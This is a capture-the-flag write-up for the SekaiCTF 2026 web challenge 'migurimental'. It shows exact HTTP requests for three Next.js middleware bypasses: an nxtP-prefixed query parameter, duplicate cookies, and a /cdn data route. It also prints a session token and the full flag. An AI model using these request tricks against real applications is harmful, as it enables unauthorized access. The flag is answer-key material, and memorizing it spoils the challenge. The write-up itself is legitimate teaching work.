SekaiCTF2026-web/migurimental
SekaiCTF 2026

SekaiCTF2026-web/migurimental

Source analysis

The system consists of two Next.js apps (backstage1, backstage2) behind an nginx reverse proxy. config/nginx.conf injects some internal headers before forwarding the request, among them X-Real-Migu:

proxy_set_header X-Real-Migu $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Proto $scheme;

Because this header is set by nginx, a client cannot set it from the outside.

backstage1 has a middleware that authenticates the JWT session and then applies extra conditions to two routes (apps/backstage1/middleware.js):

if (request.nextUrl.pathname === '/access-card') {
  const checkedId = request.nextUrl.searchParams.get('id')
  if (checkedId !== session.sub) return deny(request)
}

if (request.nextUrl.pathname === '/backroom') {
  const expectedTicket = session.ticketUuid
  const middlewareTicket = request.cookies.get('ticket_uuid')?.value || ''
  if (!expectedTicket || middlewareTicket !== expectedTicket) return deny(request)
}
  • /access-card: only allowed when the id parameter in the URL equals session.sub (the user’s id in the JWT).
  • /backroom: only allowed when the ticket_uuid cookie equals session.ticketUuid.

The /access-card page reads query.id, looks up the corresponding user and renders a QR code encoding that user’s ticketUuid (apps/backstage1/pages/access-card.js):

export async function getServerSideProps({ query }) {
  const user = await findById(query.id)
  if (!user) return { notFound: true }
  const qrDataUrl = await QRCode.toDataURL(user.ticketUuid, ...)
  return { props: { user: { id: user.id, username: user.username, tier: user.tier }, qrDataUrl } }
}

The /backroom page looks up the user by the ticket_uuid cookie; if that user has id === 1 it returns backstageNote from readFirstFlagHalf(), otherwise it returns 403 (apps/backstage1/pages/backroom.js):

const ticketUser = await findByTicketUuid(req.cookies.ticket_uuid || '')
if (ticketUser?.id !== 1) {
  res.statusCode = 403
  return { props: { backstageNote: '', denied: true } }
}
return { props: { backstageNote: await readFirstFlagHalf(), denied: false } }

backstage2 has a middleware that only allows access to / when the x-real-migu header has the correct internal value, otherwise it redirects to /rejected (apps/backstage2/middleware.js):

if (request.nextUrl.pathname === '/') {
  const realMigu = request.headers.get('x-real-migu') || ''
  if (realMigu !== '1.3.3.7') {
    return NextResponse.redirect(new URL('/rejected', request.url))
  }
}

This middleware declares matcher: ['/'], while next.config.js sets assetPrefix: '/cdn':

export const config = { matcher: ['/'] }
module.exports = { assetPrefix: '/cdn' }

Exploitation

Bypassing /access-card with nxtP

After registering/logging in we have session.sub (our own id), session.ticketUuid, and our own ticket_uuid cookie.

The middleware checks /access-card with searchParams.get('id') === session.sub, while the Pages router reads query.id in getServerSideProps.

Send the request:

GET /access-card?id=1&nxtPid=198

In the middleware, Next.js normalizes keys with the nxtP prefix, so nxtPid is interpreted as id. The middleware sees id=<my_id> and lets it through. Meanwhile getServerSideProps still takes the raw original query.id which is 1, so the page renders the access card of user miku:

id: 1
username: miku
tier: VIP

Getting Miku’s ticket

In the returned HTML there is a QR as a data URL (data:image/png;base64,...).

Decode it into a PNG file and read the QR.

Miku’s ticket UUID:

92ca07cc-13bd-4d2b-b6b3-e8399790078a

Send a cookie header with two ticket_uuid:

Cookie: ticket_uuid=92ca07cc-13bd-4d2b-b6b3-e8399790078a; session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5ndXllbnZhbmEiLCJ0aWVyIjoiUkVHVUxBUiIsInRpY2tldFV1aWQiOiJmNmQ4NjZmOS01NmNkLTQ3N2MtYjI4Yy1iN2JiN2FiYTFhYzUiLCJzdWIiOiIxOTgiLCJpYXQiOjE3ODMwNDE4Njd9.2ufRxsvqyGuL4vtI4HboMboERWl8Tnsz1HrCU7aZi_Q; ticket_uuid=f6d866f9-56cd-477c-b28c-b7bb7aba1ac5

The middleware sees:

  • the last ticket_uuid is our own ticket, which matches session.ticketUuid so it lets us proceed.
  • getServerSideProps sees the first ticket_uuid which is miku’s ticket, so findByTicketUuid() returns user id 1; the /backroom page returns half of the flag.
GET /backroom HTTP/1.1
Host: migurimental.chals.sekai.team
Cookie: ticket_uuid=92ca07cc-13bd-4d2b-b6b3-e8399790078a; session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5ndXllbnZhbmEiLCJ0aWVyIjoiUkVHVUxBUiIsInRpY2tldFV1aWQiOiJmNmQ4NjZmOS01NmNkLTQ3N2MtYjI4Yy1iN2JiN2FiYTFhYzUiLCJzdWIiOiIxOTgiLCJpYXQiOjE3ODMwNDE4Njd9.2ufRxsvqyGuL4vtI4HboMboERWl8Tnsz1HrCU7aZi_Q; ticket_uuid=f6d866f9-56cd-477c-b28c-b7bb7aba1ac5

Half of the flag:

SEKAI{7h3_l33k_15_b4ck_7h3_cr0wd_15_ch33r1ng_4nd_7h3_

Bypassing app 2’s middleware via /cdn/_next/data

Accessing / directly on app 2 gets redirected to /rejected by the middleware (because the internal x-real-migu header is missing).

But the middleware only declares matcher: ['/'], while next.config.js sets assetPrefix: '/cdn', so the index page’s data route can still be served through the /cdn prefix.

Open /rejected and find the buildId:

"buildId":"VlOPiWVknxOpNtTjt6ctd"

Then call the index page’s data route through the /cdn prefix:

GET /cdn/_next/data/VlOPiWVknxOpNtTjt6ctd/index.json HTTP/1.1
Host: migurimental-2.chals.sekai.team

The other half of the flag:

c0nc3r7_c4n_f1n4lly_b3g1n_m1ku_m1ku_b34mmmmmmmmmmmm}

Flag

SEKAI{7h3_l33k_15_b4ck_7h3_cr0wd_15_ch33r1ng_4nd_7h3_c0nc3r7_c4n_f1n4lly_b3g1n_m1ku_m1ku_b34mmmmmmmmmmmm}